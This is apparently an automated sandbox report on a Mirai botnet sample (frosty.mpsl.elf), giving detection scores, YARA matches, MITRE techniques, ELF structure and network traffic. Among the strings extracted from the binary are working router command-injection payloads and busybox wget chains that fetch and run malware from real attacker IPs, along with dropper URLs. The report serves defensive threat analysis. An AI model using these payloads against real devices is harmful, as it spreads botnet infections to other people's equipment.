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Linux Analysis Report
frosty.mpsl.elf

Overview

General Information

Sample name:	frosty.mpsl.elf
Analysis ID:	1587916
MD5:	00fc9c9fac56c54153408cdd78d8c121
SHA1:	8a7f5a52538c04fef013fa7dee8eb3f8c6cf12da
SHA256:	f0f6d777e8920aa4746fec2ea17a60a4c6089650d703a56b3e5fbef888ae9ebe
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	56
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Yara detected Mirai

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587916
Start date and time:	2025-01-10 19:24:47 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	frosty.mpsl.elf
Detection:	MAL
Classification:	mal56.troj.linELF@0/0@2/0

Warnings

VT rate limit hit for: http://45.82.122.234/icy.sh
VT rate limit hit for: http://46.36.37.3/bins/frosty.mips
VT rate limit hit for: http://46.36.37.3/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$

Runtime Messages

Command:	/tmp/frosty.mpsl.elf
PID:	5528
Exit Code:	136
Exit Code Info:	SIGFPE (8) Floating-point exception
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 8 (Floating point exception) - core dumped

Process Tree

system is lnxubuntu20

frosty.mpsl.elf (PID: 5528, Parent: 5446, MD5: 0d6f61f82cf2f781c6eb0661071d42d9) Arguments: /tmp/frosty.mpsl.elf

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
frosty.mpsl.elf	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
5528.1.00007fba04400000.00007fba04414000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: frosty.mpsl.elf	Virustotal: Detection: 55%			Perma Link
Source: frosty.mpsl.elf	ReversingLabs: Detection: 57%

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: daisy.ubuntu.com

Source: frosty.mpsl.elf	String found in binary or memory: http://45.82.122.234/icy.sh
Source: frosty.mpsl.elf	String found in binary or memory: http://46.36.37.3/bins/frosty.mips
Source: frosty.mpsl.elf	String found in binary or memory: http://46.36.37.3/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$
Source: frosty.mpsl.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: frosty.mpsl.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.36.37.3/bins/frosty.mips+-O+/tmp/egg;sh+/tmp/egg`&ipv=0
Source: Initial sample	String containing 'busybox' found: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://46.36.37.3/bins/frosty.mips+-O+/tmp/egg;sh+/tmp/egg`&ipv=0%I
Source: Initial sample	String containing 'busybox' found: $(/bin/busybox wget -g 46.36.37.3 -l /tmp/.frosty.mips -r /bins/frosty.mips; /bin/busybox chmod 777 * /tmp/.frosty.mips; /tmp/.frosty.mips huawei.selfrep)

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal56.troj.linELF@0/0@2/0

Source: /tmp/frosty.mpsl.elf (PID: 5528)

Queries kernel information via 'uname':

Jump to behavior

Source: frosty.mpsl.elf, 5528.1.0000559449c59000.0000559449ce0000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mipsel
Source: frosty.mpsl.elf, 5528.1.0000559449c59000.0000559449ce0000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mipsel
Source: frosty.mpsl.elf, 5528.1.00007fffc9d6b000.00007fffc9d8c000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mipsel/tmp/frosty.mpsl.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/frosty.mpsl.elf
Source: frosty.mpsl.elf, 5528.1.00007fffc9d6b000.00007fffc9d8c000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 8 (Floating point exception) - core dumped
Source: frosty.mpsl.elf, 5528.1.00007fffc9d6b000.00007fffc9d8c000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mipsel

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: frosty.mpsl.elf, type: SAMPLE
Source: Yara match	File source: 5528.1.00007fba04400000.00007fba04414000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: frosty.mpsl.elf, type: SAMPLE
Source: Yara match	File source: 5528.1.00007fba04400000.00007fba04414000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Application Layer Protocol	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
frosty.mpsl.elf	56%	Virustotal		Browse
frosty.mpsl.elf	58%	ReversingLabs	Linux.Trojan.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.25	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://45.82.122.234/icy.sh	frosty.mpsl.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	frosty.mpsl.elf	false	high
http://46.36.37.3/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$	frosty.mpsl.elf	false	unknown
http://46.36.37.3/bins/frosty.mips	frosty.mpsl.elf	false	unknown
http://schemas.xmlsoap.org/soap/envelope/	frosty.mpsl.elf	false	high

World Map of Contacted IPs

⊘No contacted IP infos

Joe Sandbox View / Context

IPs

⊘No context

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	main_sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	wind.mpsl.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	wind.arm.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	wind.arm6.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	wind.arm7.elf	Get hash	malicious	Mirai	Browse	162.213.35.24
	wind.mips.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	wind.sh4.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	wind.m68k.elf	Get hash	malicious	Mirai	Browse	162.213.35.25
	arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	boatnet.mpsl.elf	Get hash	malicious	Mirai	Browse	162.213.35.25

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.646580602660604
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	frosty.mpsl.elf
File size:	80'992 bytes
MD5:	00fc9c9fac56c54153408cdd78d8c121
SHA1:	8a7f5a52538c04fef013fa7dee8eb3f8c6cf12da
SHA256:	f0f6d777e8920aa4746fec2ea17a60a4c6089650d703a56b3e5fbef888ae9ebe
SHA512:	8de8a0b6d6a4fa0b63b4dfcdeb32038df68ec158ae82f5cf7c61e73a22875697d88bcfc95dbef26275d728dd129b80b9701258c79af1ac22c367b16ce3f4526e
SSDEEP:	1536:I3YrjJ75HLNXG8eh+Z9tpQXcaykHshPzuEpBJ/2IxZP/jxKduupV:I3YrjJ71pGBoesaykHshPH2Ix
TLSH:	0983A50A7FB11FF7E8AFDD3355A90745248D560A22A93B75BA30D828B34B24F15E3874
File Content Preview:	.ELF....................`.@.4...0:......4. ...(...............@...@..2...2...............2...2E..2E.8...............Q.td...............................<...'!......'.......................<...'!... .........9'.. ........................<...'!.............9

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	80432
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x11530	0x0	0x6	AX	16
.fini	PROGBITS	0x411650	0x11650	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x4116b0	0x116b0	0x1be0	0x0	0x2	A	16
.ctors	PROGBITS	0x453294	0x13294	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45329c	0x1329c	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x4532a8	0x132a8	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x4532b0	0x132b0	0x2f8	0x0	0x3	WA	16
.got	PROGBITS	0x4535b0	0x135b0	0x41c	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x4539cc	0x139cc	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x4539f0	0x139cc	0x528	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x71a	0x139cc	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x139cc	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x13290	0x13290	5.6731	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x13294	0x453294	0x453294	0x738	0xc84	3.9144	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:25:38.347223043 CET	33282	53	192.168.2.15	1.1.1.1
Jan 10, 2025 19:25:38.347223043 CET	50513	53	192.168.2.15	1.1.1.1
Jan 10, 2025 19:25:38.354083061 CET	53	50513	1.1.1.1	192.168.2.15
Jan 10, 2025 19:25:38.354458094 CET	53	33282	1.1.1.1	192.168.2.15

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:25:38.347223043 CET	192.168.2.15	1.1.1.1	0x6ed8	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:25:38.347223043 CET	192.168.2.15	1.1.1.1	0x2d33	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:25:38.354458094 CET	1.1.1.1	192.168.2.15	0x6ed8	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:25:38.354458094 CET	1.1.1.1	192.168.2.15	0x6ed8	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: frosty.mpsl.elf PID: 5528, Parent PID: 5446

General

Start time (UTC):	18:25:36
Start date (UTC):	10/01/2025
Path:	/tmp/frosty.mpsl.elf
Arguments:	/tmp/frosty.mpsl.elf
File size:	5773336 bytes
MD5 hash:	0d6f61f82cf2f781c6eb0661071d42d9

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Linux Analysis Report frosty.mpsl.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

UDP Packets

DNS Queries

DNS Answers

System Behavior

Analysis Process: frosty.mpsl.elf PID: 5528, Parent PID: 5446

General

Chronological Activities

Linux Analysis Report
frosty.mpsl.elf